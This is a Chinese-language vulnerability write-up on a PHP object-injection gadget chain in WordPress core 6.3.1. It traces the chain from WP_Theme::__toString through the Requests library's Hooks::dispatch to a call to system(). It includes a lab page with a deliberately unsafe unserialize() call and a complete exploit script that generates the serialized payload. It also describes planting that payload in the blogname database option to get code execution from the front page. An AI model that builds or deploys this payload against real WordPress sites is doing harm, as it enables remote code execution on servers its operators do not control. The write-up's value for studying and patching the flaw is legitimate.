环境搭建

我这里使用phpstudy搭建的 WordPress 环境,官网下载 6.3.1 版本,https://wordpress.org/download/releases/

注意在安装的时候会自动更新到wordpress最新版本,需要禁止自动更新

在填完数据库信息,点下一步之后会生成 wp-config.php 文件,这个时候在 wp-config.php 文件中添加如下代码即可:

1
define( 'WP_AUTO_UPDATE_CORE', false );

创建漏洞点,需要包含wp-load.php,然后调用wp()函数初始化

1
2
3
4
5
6
7
8
9
10
<?php

require_once __DIR__ . '/wp-load.php';

// Set up the WordPress query.
wp();

$a = unserialize('...');

echo $a;

漏洞分析

wp-includes/class-wp-theme.php

通过__toString会调用到它的 display 方法

跟进到 get 方法

如果实现了 ArrayAccess 接口,即数组式访问,那么在执行$this->headers[ $header ]时会调用 offsetGet 方法

ArrayAccess接口的妙用

这里找到wp-includes/class-wp-block-list.php

进行实例化 WP_Block 类,参数都是可控的,跟进到它的__construct方法
wp-includes/class-wp-block.php

调用到WP_Block_Type_Registry的 get_registered 方法,并且这里$this->name可控
wp-includes/class-wp-block-type-registry.php

又是一个执行 offsetGet 的操作,区别是这一次数组索引是可控的

再次看到 WP_Theme 类,该类也实现了 ArrayAccess 接口
wp-includes/class-wp-theme.php

$offset为 Parent Theme 的时候,调用

1
return $this->parent() ? $this->parent()->get( 'Name' ) : '';

这里会调用$this->parent该对象的 get 方法

get方法到RCE

找到wp-includes/Requests/src/Session.php的get方法

跟进到 request 方法

跟进 merge_request 方法

我们的$request内容可控

1
return Requests::request($request['url'], $request['headers'], $request['data'], $type, $request['options']);

走到wp-includes/Requests/src/Requests.php

我们设置$options['hooks']为 Hooks 类,那么就会调用它的dispatch方法

wp-includes/Requests/src/Hooks.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function dispatch($hook, $parameters = []) {
if (is_string($hook) === false) {
throw InvalidArgument::create(1, '$hook', 'string', gettype($hook));
}

// Check strictly against array, as Array* objects don't work in combination with `call_user_func_array()`.
if (is_array($parameters) === false) {
throw InvalidArgument::create(2, '$parameters', 'array', gettype($parameters));
}

if (empty($this->hooks[$hook])) {
return false;
}

if (!empty($parameters)) {
// Strip potential keys from the array to prevent them being interpreted as parameter names in PHP 8.0.
$parameters = array_values($parameters);
}

ksort($this->hooks[$hook]);

foreach ($this->hooks[$hook] as $priority => $hooked) {
foreach ($hooked as $callback) {
$callback(...$parameters);
}
}

return true;
}

这里引用了可变函数的概念:https://www.php.net/manual/zh/functions.variable-functions.php
如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途

即:

我们可以递归调用一次Hooks::dispatch()方法,变成了:

1
$options['hooks']->dispatch($url, $headers, &$data, &$type, &$options])

又由于该方法只需要两个参数,那么$data$type、和$options将不被使用

最后通过$callback(...$parameters);可变长参数实现RCE

漏洞利用

最后实现的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<?php

namespace WpOrg\Requests
{
class Session
{
public $url;
public $headers;
public $options;

public function __construct($url, $headers, $options)
{
$this->url = $url;
$this->headers = $headers;
$this->options = $options;
}
}

class Hooks
{
public $hooks;

public function __construct($hooks)
{
$this->hooks = $hooks;
}
}
}

namespace {
use WpOrg\Requests\Hooks;
use WpOrg\Requests\Session;

final class WP_Block_Type_Registry
{
public $registered_block_types;

public function __construct($registered_block_types)
{
$this->registered_block_types = $registered_block_types;
}
}

class WP_Block_List
{
public $blocks;
public $registry;

public function __construct($blocks, $registry)
{
$this->blocks = $blocks;
$this->registry = $registry;
}
}

final class WP_Theme
{
public $headers;
public $parent;

public function __construct($headers = null, $parent = null)
{
$this->headers = $headers;
$this->parent = $parent;
}
}

$blocks = array(
'Name' => array(
'blockName' => 'Parent Theme'
)
);
$hooks_recurse_once = new Hooks(
array(
'http://p:0/Name' => array(
array('system')
)
)
);
$hooks = new Hooks(
array(
'requests.before_request' => array(
array(
array(
$hooks_recurse_once,
'dispatch'
)
)
)
)
);

$parent = new Session('http://p:0', array("calc"), array('hooks' => $hooks));
$registered_block_types = new WP_Theme(null, $parent);
$registry = new WP_Block_Type_Registry($registered_block_types);
$headers = new WP_Block_List($blocks, $registry);

echo serialize(new WP_Theme($headers));
}

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
Hooks.php:93, WpOrg\Requests\Hooks->dispatch()
Hooks.php:93, WpOrg\Requests\Hooks->dispatch()
Requests.php:455, WpOrg\Requests\Requests::request()
Session.php:232, WpOrg\Requests\Session->request()
Session.php:159, WpOrg\Requests\Session->get()
class-wp-theme.php:702, WP_Theme->offsetGet()
class-wp-block-type-registry.php:145, WP_Block_Type_Registry->get_registered()
class-wp-block.php:130, WP_Block->__construct()
class-wp-block-list.php:96, WP_Block_List->offsetGet()
class-wp-theme.php:833, WP_Theme->get()
class-wp-theme.php:851, WP_Theme->display()
class-wp-theme.php:513, WP_Theme->__toString()

后续的利用方式找到了当年一篇有意思的文章:WordPress < 3.6.1 PHP Object Injection

简单来说就是获取数据库中的 metadata 时,会调用maybe_unserialize对数据处理,如果通过 insert、update 将数据写入到数据库中,或者能够控制数据库,就会执行反序列化操作

我们通过数据库修改在前台会显示的内容为我们的payload,即会调用__toString方法,这里我修改的为 wp_options 表中blogname的value

访问首页,成功RCE

参考:
WordPress Core RCE Gadget 分析
Finding A RCE Gadget Chain In WordPress Core
https://github.com/ambionics/phpggc/blob/master/gadgetchains/WordPress/RCE/1/chain.php